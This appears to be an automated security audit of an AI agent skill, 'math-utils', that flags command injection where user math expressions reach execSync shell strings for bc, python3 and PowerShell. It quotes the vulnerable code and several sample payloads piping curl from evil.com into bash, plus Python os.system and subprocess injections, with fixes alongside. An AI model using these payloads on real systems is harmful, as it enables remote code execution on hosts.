Skill Trust Decision
math-utils (Native CLI Edition)
The skill uses declared shell execution for math calculation via CLI tools (bc, python3, PowerShell) but contains a command injection vulnerability where unsanitized user input is interpolated directly into shell strings — a risk the skill-card.md partially acknowledges.
Why this conclusion was reached
1/4 dimensions flagged Pass
Declared vs actual capability
Declared resources and inferred behavior are broadly aligned.
Review
Hidden execution and egress
2 lower-risk artifacts were extracted and still need context.
Block
Attack chain and severe findings
The report includes 4 attack-chain steps and 2 severe findings.
Pass
Dependencies and supply chain hygiene
Dependencies are present but no obvious high-risk issue stands out.
Attack Chain
01
Attacker provides a malicious expression (e.g., `1; curl http://evil.com | bash`) as input to the calculate() function
Entry · main.js:19
02
Expression is directly interpolated into the shell command string without sanitization, escaping the calculator context
Escalation · main.js:19
03
Arbitrary shell commands execute on the host with the skill's user permissions (RCE)
Impact · main.js:19
04
On the python3 fallback path, Python code execution is achieved via expression injection into python3 -c
Impact · main.js:22
What drove the risk score up
Command injection risk +20
User-supplied expression is directly interpolated into execSync shell strings (e.g., `echo "scale=10; ${expression}" | bc`). No input validation; malicious expressions like `1; curl http://evil.com | bash` can escape the calculator.
Undeclared shell:WRITE capability +5
SKILL.md describes CLI usage but does not explicitly list 'shell' as a required permission resource, making it easy to under-estimate the privilege level.
Partial risk disclosure +5
skill-card.md does mention the injection risk and command execution risk, but the risk is presented as inherent to the design rather than mitigated by input validation in code.
Most important evidence
High RCE
Command injection via unsanitized expression input
The calculate() function interpolates user-provided expression strings directly into shell commands without any validation. An attacker can inject arbitrary shell commands. On the bc path, expressions like `1; curl http://evil.com | bash` succeed via the pipe. On the python3 path, expressions like `__import__('os').system('curl http://evil.com | bash')` execute arbitrary Python code.
main.js:19 Validate input with a strict regex allowlist (e.g., /^[0-9+\-*/().%^\s]+$/) before any shell interpolation. Reject or escape any expression containing letters, quotes, backticks, semicolons, or shell metacharacters.
High RCE
Arbitrary Python code execution on bc fallback
The python3 fallback path `python3 -c "print(${expression})"` allows arbitrary Python execution. Expressions like `__import__('os').system('id')` or `__import__('subprocess').run(['curl','http://evil.com'],shell=True)` will execute with the skill's user permissions.
main.js:22 Remove the python3 fallback or replace it with a pure-math library (e.g., mathjs) that evaluates arithmetic without shell access.
Medium Doc Mismatch
Shell:WRITE capability not explicitly declared in SKILL.md
SKILL.md describes 'Native Tool Selection' and 'Execution' but never explicitly lists 'shell' or 'shell:WRITE' among the skill's required resources. skill-card.md mentions 'executes local command-line tools' as a risk but the declared permissions table (if any) does not show shell access, making it easy to approve this skill underestimating its true privilege level.
SKILL.md:1 Add an explicit 'Required Permissions' or 'allowed-tools' section to SKILL.md listing shell:WRITE or Bash for this skill.
Low Sensitive Access
Broad shell access without sandboxing
execSync runs with the full permissions of the Node.js process. There is no chroot, seccomp, or containerization. The skill has access to the entire filesystem, all environment variables, and all OS capabilities available to its user.
main.js:14 If shell access is truly required, consider wrapping execution in a sandboxed subprocess with minimal UID/GID permissions.
Declared capability vs actual capability
Shell Pass
Declared NONE
→ Inferred WRITE
main.js:19 — execSync(`echo "scale=10; ${expression}" | bc`) Shell Pass
Declared NONE
→ Inferred WRITE
main.js:22 — execSync(`python3 -c "print(${expression})"`) Shell Pass
Declared NONE
→ Inferred WRITE
main.js:26 — execSync(`powershell "[Math]::Evaluate('${expression}')"`) Suspicious artifacts and egress
Medium External URL
https://clawhub.ai/user/johnnyhou327 skill-card.md:7
Medium External URL
https://clawhub.ai/johnnyhou327/math-utils-native skill-card.md:27
Dependencies and supply chain
| Package | Version | Source | Known vuln | Notes |
|---|---|---|---|---|
| os (stdlib) | bundled | Node.js standard library | No | No external dependencies — only built-in modules |
| child_process (stdlib) | bundled | Node.js standard library | No | No external dependencies — only built-in modules |
File composition
4 files · 111 lines
Markdown 2 files · 59 linesJavaScript 1 files · 47 linesJSON 1 files · 5 lines
Files of concern · 3
skill-card.md https://clawhub.ai/user/johnnyhou327 · https://clawhub.ai/johnnyhou327/math-utils-native
main.js Command injection via unsanitized expression input · Arbitrary Python code execution on bc fallback · Broad shell access without sandboxing
SKILL.md Shell:WRITE capability not explicitly declared in SKILL.md
Other files · _meta.json
Security positives
SKILL.md accurately describes the core behavior (CLI-based math calculation via bc/python3/PowerShell)
skill-card.md explicitly documents the command injection risk and shell execution risk as known dangers
No network requests, credential access, or data exfiltration code present
No obfuscation, base64-encoded payloads, or hidden instructions
No supply chain risks — only depends on built-in Node.js 'os' and 'child_process' modules (no external packages)